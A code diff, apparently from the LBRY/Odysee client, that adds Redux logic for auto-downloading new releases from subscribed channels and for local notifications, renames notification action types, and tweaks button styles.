data: uris,
});
};
}
export function doRemoveUriFromDownloadQueue(uri: string) {
return (dispatch: Dispatch) => {
return dispatch({
type: ACTIONS.SUBSCRIPTION_DOWNLOAD_REMOVE,
data: uri,
});
};
}
export function doUpdateLastReleasesForUri(entries: { [string]: number }) {
return (dispatch: Dispatch) => {
return dispatch({
type: ACTIONS.SUBSCRIPTION_RELEASE_UPDATE,
// data: entries = { [uri]: timestamp } >
data: entries,
});
};
}
export function doSubscriptionDownloadEnableForUri(uri: string, enable: boolean) {
return (dispatch: Dispatch) => {
return dispatch({
type: ACTIONS.SUBSCRIPTION_DOWNLOAD_TOGGLE,
data: { uri, enable },
});
};
}
export function doCheckChannelPublishes() {
// finish this
return async (dispatch: Dispatch, getState: GetState) => {
const state = getState();
// for sub in subs, if notify+ or download+, getnewpublishes()
const subs = new Set(selectSubscriptionUris(state));
const dls = new Set(selectDownloadEnabledUrls(state));
const channels = Array.from(setUnion(subs, dls));
for (const channelUri of channels) {
// $FlowFixMe
const hasNotify = !makeSelectNotificationsDisabled(channelUri)(state); // eslint-disable-line
const hasDownload = dls.has(channelUri);
const lastRelease = makeSelectLastReleaseForUri(channelUri)(state);
if (hasNotify || hasDownload) {
// getNewPublishes since ???
let lastTime = Math.floor(Date.now() / 1000);
const results = await Lbry.claim_search({
channel: channelUri,
release_time: `>${lastRelease}`,
order_by: ['release_time'],
});
const latest = results.items;
if (latest.length && latest[0].value && latest[0].value.release_time) {
lastTime = latest[0].value.release_time;
}
// dispatch release time update()
const notifications = [];
const downloads = [];
const releaseEntries = {}; // refactor to {} maybe
for (const claim of latest) {
if (hasNotify) {
const notification = getNotificationFromClaim(claim);
notifications.push(notification);
}
if (hasDownload) {
downloads.push(claim.permanent_url);
}
releaseEntries[channelUri] = lastTime;
}
dispatch(doLocalAddNotification(notifications));
dispatch(doAddUrisToDownloadQueue(downloads));
// dispatch last check for channelUri
dispatch(doUpdateLastReleasesForUri(releaseEntries));
}
}
// do download
};
}
export function doCheckChannelsSubscribe() {
return (dispatch: Dispatch) => {
dispatch(doCheckChannelPublishes());
setInterval(() => dispatch(doCheckChannelPublishes()), 10000);
};
}
export function doDownloadQueue() {
return (dispatch: Dispatch) => {
// for each download, trigger download,
// if downloading, back off
};
}
+2 -2
View File
@@ -1,6 +1,6 @@
import * as ACTIONS from 'constants/action_types';
import { getAuthToken } from 'util/saved-passwords';
import { doNotificationList } from 'redux/actions/notifications';
import { doLbryioNotificationList } from 'redux/actions/notifications';
import { SOCKETY_SERVER_API } from 'config';
const NOTIFICATION_WS_URL = `${SOCKETY_SERVER_API}/internal?id=`;
@@ -79,7 +79,7 @@ export const doNotificationSocketConnect = (enableNotifications) => (dispatch) =
switch (data.type) {
case 'pending_notification':
if (enableNotifications) {
dispatch(doNotificationList());
dispatch(doLbryioNotificationList());
}
break;
case 'swap-status':
+46 -8
View File
@@ -4,6 +4,7 @@ import { handleActions } from 'util/redux-utils';
const defaultState: NotificationState = {
notifications: [],
localNotifications: [],
notificationsFiltered: [],
notificationCategories: undefined,
fetchingNotifications: false,
@@ -35,13 +36,13 @@ export default handleActions(
},
// Notifications
[ACTIONS.NOTIFICATION_LIST_STARTED]: (state, action) => {
[ACTIONS.LBRYIO_NOTIFICATION_LIST_STARTED]: (state) => {
return {
...state,
fetchingNotifications: true,
};
},
[ACTIONS.NOTIFICATION_LIST_COMPLETED]: (state, action) => {
[ACTIONS.LBRYIO_NOTIFICATION_LIST_COMPLETED]: (state, action) => {
const { filterRule, newNotifications } = action.data;
if (filterRule) {
return {
@@ -57,13 +58,13 @@ export default handleActions(
};
}
},
[ACTIONS.NOTIFICATION_LIST_FAILED]: (state, action) => {
[ACTIONS.LBRYIO_NOTIFICATION_LIST_FAILED]: (state) => {
return {
...state,
fetchingNotifications: false,
};
},
[ACTIONS.NOTIFICATION_CATEGORIES_COMPLETED]: (state, action) => {
[ACTIONS.LBRYIO_NOTIFICATION_CATEGORIES_COMPLETED]: (state, action) => {
const { notificationCategories } = action.data;
return {
@@ -71,7 +72,7 @@ export default handleActions(
notificationCategories,
};
},
[ACTIONS.NOTIFICATION_READ_COMPLETED]: (state, action) => {
[ACTIONS.LBRYIO_NOTIFICATION_READ_COMPLETED]: (state, action) => {
const { notifications, notificationsFiltered } = state;
const { notificationIds } = action.data;
@@ -94,12 +95,12 @@ export default handleActions(
notificationsFiltered: markIdsAsRead(notificationsFiltered, notificationIds),
};
},
[ACTIONS.NOTIFICATION_READ_FAILED]: (state, action) => {
[ACTIONS.LBRYIO_NOTIFICATION_READ_FAILED]: (state, action) => {
return {
...state,
};
},
[ACTIONS.NOTIFICATION_SEEN_COMPLETED]: (state, action) => {
[ACTIONS.LBRYIO_NOTIFICATION_SEEN_COMPLETED]: (state, action) => {
const { notifications, notificationsFiltered } = state;
const { notificationIds } = action.data;
@@ -118,7 +119,7 @@ export default handleActions(
notificationsFiltered: markIdsAsSeen(notificationsFiltered, notificationIds),
};
},
[ACTIONS.NOTIFICATION_DELETE_COMPLETED]: (state, action) => {
[ACTIONS.LBRYIO_NOTIFICATION_DELETE_COMPLETED]: (state, action) => {
const { notifications, notificationsFiltered } = state;
const { notificationId } = action.data;
@@ -133,6 +134,43 @@ export default handleActions(
};
},
[ACTIONS.LOCAL_NOTIFICATION_DELETE]: (state, action) => {
const { localNotifications } = state;
const { notificationId } = action.data;
const deleteId = (list, id) => {
return localNotifications.filter((n) => n.id !== id);
};
return {
...state,
localNotifications: deleteId(localNotifications, notificationId),
};
},
[ACTIONS.LOCAL_NOTIFICATION_ADD]: (state, action) => {
const { localNotifications } = state;
const { notifications } = action.data;
return localNotifications.concat(notifications);
},
[ACTIONS.LOCAL_NOTIFICATION_SEEN]: (state, action) => {
const { localNotifications } = state;
const { notificationIds } = action.data;
const markIdsAsSeen = (list, ids) => {
return list.map((n) => {
if (ids.includes(n.id)) {
return { ...n, is_seen: true };
}
return n;
});
};
return {
...state,
localNotifications: markIdsAsSeen(localNotifications, notificationIds),
};
},
// Errors
[ACTIONS.CREATE_ERROR]: (state: NotificationState, action: DoError) => {
const error: ErrorNotification = action.data;
+46 -13
View File
@@ -8,8 +8,17 @@ const defaultState: SubscriptionState = {
following: [],
loading: false,
firstRunCompleted: false,
downloadEnabledByUrl: {},
downloadQueue: [],
lastReleaseBySubUrl: {},
};
/*
For each channel, track number to keep downloaded (number), downloads (Array<{id, releaseTime}>)
AutoDownloadById
{ channel_id: { count: n, downloads: [ { claimId: xyz, releaseTime: 123 ], ... } }
*/
export default handleActions(
{
[ACTIONS.CHANNEL_SUBSCRIBE]: (state: SubscriptionState, action): SubscriptionState => {
@@ -61,23 +70,47 @@ export default handleActions(
following: newFollowing,
};
},
[ACTIONS.FETCH_SUBSCRIPTIONS_START]: (state: SubscriptionState): SubscriptionState => ({
...state,
loading: true,
}),
[ACTIONS.FETCH_SUBSCRIPTIONS_FAIL]: (state: SubscriptionState): SubscriptionState => ({
...state,
loading: false,
}),
[ACTIONS.FETCH_SUBSCRIPTIONS_SUCCESS]: (state: SubscriptionState, action): SubscriptionState => ({
...state,
loading: false,
subscriptions: action.data,
}),
[ACTIONS.SET_VIEW_MODE]: (state: SubscriptionState, action): SubscriptionState => ({
...state,
viewMode: action.data,
}),
[ACTIONS.SUBSCRIPTION_DOWNLOAD_ADD]: (state: SubscriptionState, action): SubscriptionState => {
const { downloadQueue } = state;
const uri = action.data;
const newDownloadQueue = downloadQueue.concat(uri);
return {
...state,
downloadUrisQueued: newDownloadQueue,
};
},
[ACTIONS.SUBSCRIPTION_DOWNLOAD_REMOVE]: (state: SubscriptionState, action): SubscriptionState => {
const { downloadQueue } = state;
const uri = action.data;
const newDownloadQueue = downloadQueue.filter((f) => f !== uri);
return {
...state,
downloadUrisQueued: newDownloadQueue,
};
},
[ACTIONS.SUBSCRIPTION_RELEASE_UPDATE]: (state: SubscriptionState, action): SubscriptionState => {
const { lastReleaseBySubUrl } = state;
const entries = action.data;
Object.entries(entries).forEach(([uri, timestamp]) => {
lastReleaseBySubUrl[uri] = timestamp;
});
return {
...state,
lastReleaseBySubUrl,
};
},
[ACTIONS.SUBSCRIPTION_DOWNLOAD_TOGGLE]: (state: SubscriptionState, action): SubscriptionState => {
const { downloadEnabledByUrl } = state;
const { uri, enable } = action.data;
downloadEnabledByUrl[uri] = enable;
return Object.assign({}, state, { downloadEnabledByUrl });
},
[ACTIONS.SYNC_STATE_POPULATE]: (
state: SubscriptionState,
action: { data: { subscriptions: ?Array<string>, following: ?Array<Subscription> } }
+9
View File
@@ -3,6 +3,7 @@ import { createSelector } from 'reselect';
export const selectState = (state) => state.notifications || {};
export const selectNotifications = createSelector(selectState, (state) => state.notifications);
export const selectNotificationsLocal = createSelector(selectState, (state) => state.localNotifications);
export const selectNotificationsFiltered = createSelector(selectState, (state) => state.notificationsFiltered);
@@ -31,6 +32,14 @@ export const selectUnseenNotificationCount = createSelector(selectNotifications,
return notifications ? notifications.filter((notification) => !notification.is_seen).length : 0;
});
export const selectUnseenLocalNotificationCount = createSelector(selectNotificationsLocal, (notifications) => {
return notifications ? notifications.filter((notification) => !notification.is_seen).length : 0;
});
export const selectUnreadLocalNotificationCount = createSelector(selectNotificationsLocal, (notifications) => {
return notifications ? notifications.filter((notification) => !notification.is_read).length : 0;
});
export const selectToast = createSelector(selectState, (state) => {
if (state.toasts.length) {
const { id, params } = state.toasts[0];
+16 -1
View File
@@ -30,6 +30,12 @@ export const selectFollowing = createSelector(selectState, (state) => state.foll
// Fetching list of users subscriptions
export const selectIsFetchingSubscriptions = createSelector(selectState, (state) => state.loading);
export const selectDownloadEnabledByUrl = createSelector(selectState, (state) => state.downloadEnabledByUrl);
export const selectLastReleasesByUrl = createSelector(selectState, (state) => state.lastReleaseBySubUrl);
export const selectDownloadEnabledUrls = createSelector(selectDownloadEnabledByUrl, (enabledByUrl) =>
Object.keys(enabledByUrl)
);
// The current view mode on the subscriptions page
export const selectViewMode = createSelector(selectState, (state) => state.viewMode);
@@ -147,10 +153,19 @@ export const makeSelectNotificationsDisabled = (uri) =>
const disabled = following.some((sub) => {
return sub.uri === uri && sub.notificationsDisabled === true;
});
return disabled;
}
return true;
}
);
export const makeSelectDownloadEnabled = (uri) =>
createSelector(selectDownloadEnabledByUrl, (downloadEnabledByUrl) => {
return downloadEnabledByUrl[uri] || false;
});
export const makeSelectLastReleaseForUri = (uri) =>
createSelector(selectLastReleasesByUrl, (last) => {
return last[uri] || Math.floor(Date.now() / 1000) - 604800; // fall back to a week ago
});
+13 -14
View File
@@ -663,16 +663,18 @@ svg + .button__label {
.button:first-child:not(:only-child) {
border-top-right-radius: 0;
border-bottom-right-radius: 0;
margin-right: 1px;
}
.button:nth-child(2) {
.button:not(:first-child):not(:last-child) {
border-top-right-radius: 0;
border-bottom-right-radius: 0;
border-top-left-radius: 0;
border-bottom-left-radius: 0;
}
.button:last-child:not(:only-child) {
border-top-left-radius: 0;
border-bottom-left-radius: 0;
margin-left: 1px;
&:hover {
fill: var(--color-text) !important;
}
}
.button--file-action {
@@ -710,14 +712,11 @@ svg + .button__label {
}
}
// bring back special button-following style later
//.button-following {
// color: var(--color-primary-contrast) !important;
// //background-color: rgba(var(--color-primary-dynamic),0.5) !important;
// background-color: rgba(125, 125, 125, 0.5) !important;
// .icon {
// stroke: var(--color-primary-contrast) !important;
// }
//}
.button-following {
.icon {
stroke: var(--color-text) !important;
}
}
.recommended-content__bubble {
// margin-top: var(--spacing-xs);
+9 -13
View File
@@ -11,19 +11,15 @@ $actions-z-index: 2;
}
}
// bring back later
//.button-following {
// &.button--alt {
// color: var(--color-text);
// background-color: var(--color-button-alt-bg);
// .icon {
// stroke: var(--color-text);
// }
// &:hover {
// color: var(--color-primary);
// }
// }
//}
.button-following:last-of-type {
.button-following {
&.button--alt {
color: var(--color-text);
.icon {
stroke: var(--color-text);
}
}
}
.button-following:not(first-of-type) {
margin-left: 2px;
}
}
+66
View File
@@ -0,0 +1,66 @@
export const getNotificationFromClaim = (claim) => {
// create a notification object from claim
const claimName = claim.name;
const claimTitle = claim.title;
const signingChannel = claim.signing_channel;
const channelUrl = signingChannel && signingChannel.permanent_url;
const claimThumbnail = claim.value.thumbnail;
const channelThumbnail = signingChannel.value.thumbnail;
const dynamic = {};
dynamic.claim_name = claimName;
dynamic.channel_url = channelUrl;
dynamic.claim_title = claimTitle;
dynamic.claim_thumbnail = claimThumbnail;
dynamic.channel_thumbnail = channelThumbnail;
const target = `lbry://${claimName}#${claim.claim_id}`;
const device = { target };
const notificationParams = {};
notificationParams.dynamic = dynamic;
notificationParams.device = device;
const timestamp = new Date().toISOString();
const notification = {};
notification.notification_rule = 'new_content';
notification.notification_params = notificationParams;
notification.is_seen = false;
notification.is_read = false;
notification.active_at = timestamp;
notification.created_at = timestamp;
notification.updated_at = timestamp;
notification.id = claim.claim_id;
return notification;
};
/*
id(pin):1063634811
user_id(pin):1006101
type(pin):"new_content"
notification_rule(pin):"new_content"
is_app_readable(pin):true
is_read(pin):false
is_emailed(pin):true
is_device_notified(pin):true
active_at(pin):"2022-05-07T21:47:28Z"
created_at(pin):"2022-05-07T21:47:28Z"
updated_at(pin):"2022-05-07T21:48:41Z"
is_seen(pin):false
is_deleted(pin):false
dynamic: {
claim_name(pin):"macbook-logic-board-repair-livestream-3"
channel_url(pin):"lbry://@rossmanngroup#aa5544b6778d3620d57d8dcd3229c6c59354857a"
claim_title(pin):"Macbook logic board repair livestream with Louis Rossmann"
claim_thumbnail(pin):"https://thumbnails.lbry.com/3zuzWlc8jsg"
channel_thumbnail(pin):"https://thumbnails.lbry.com/UCl2mFZoRqjw_ELax4Yisf6w"
}
notification_rule
notificatoin_parameters { dynamic: { claim_name:, channel_url:, claim_title:, claim_thumbnail:, channel_thumbnail:, }
is_read
is_seen
*/